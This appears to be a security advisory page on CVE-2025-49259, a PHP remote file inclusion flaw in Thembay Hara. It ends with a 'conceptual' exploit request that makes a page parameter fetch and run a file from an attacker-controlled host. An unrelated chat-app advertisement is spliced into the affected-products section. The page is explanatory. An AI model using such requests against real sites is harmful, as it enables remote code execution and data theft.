Overview
The cybersecurity landscape is riddled with potential threats and vulnerabilities. One such vulnerability is the Improper Control of Filename for Include/Require Statement in PHP Program, commonly known as the PHP Remote File Inclusion vulnerability. This specific vulnerability, labelled as CVE-2025-49259, affects the Thembay Hara system from its earliest version through 1.2.10. It poses a significant risk to system integrity and data privacy as it potentially allows unauthorized access and data leakage.
This vulnerability is of particular concern due to the rising prevalence of PHP in web development, coupled with the widespread use of Thembay Hara. Its exploitation could lead to widespread system compromise and significant data breaches if not promptly addressed.
Vulnerability Summary
CVE ID: CVE-2025-49259
Severity: Critical (CVSS: 8.1)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Thembay Hara | From initial version through 1.2.10
How the Exploit Works
In a PHP Remote File Inclusion exploit, the attacker manipulates a vulnerability within the PHP code of a website to include a remote file. This is typically achieved by exploiting poorly validated input fields to inject malicious PHP code that points to a remote file.
In the case of CVE-2025-49259, the attacker would exploit an improperly controlled filename in an Include/Require statement in the Thembay Hara system. This would allow the attacker to include a file from a remote server, leading to the execution of arbitrary PHP code on the target server, potentially leading to system compromise or data leakage.
Conceptual Example Code
Below is a
conceptual
example of how the vulnerability might be exploited:
GET /index.php?page=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerablewebsite.comIn this example, the attacker is manipulating the ‘page’ parameter in the URL to point to a malicious file on their server (‘http://attacker.com/malicious_file.txt’). This would result in the malicious file being included and executed on the target server.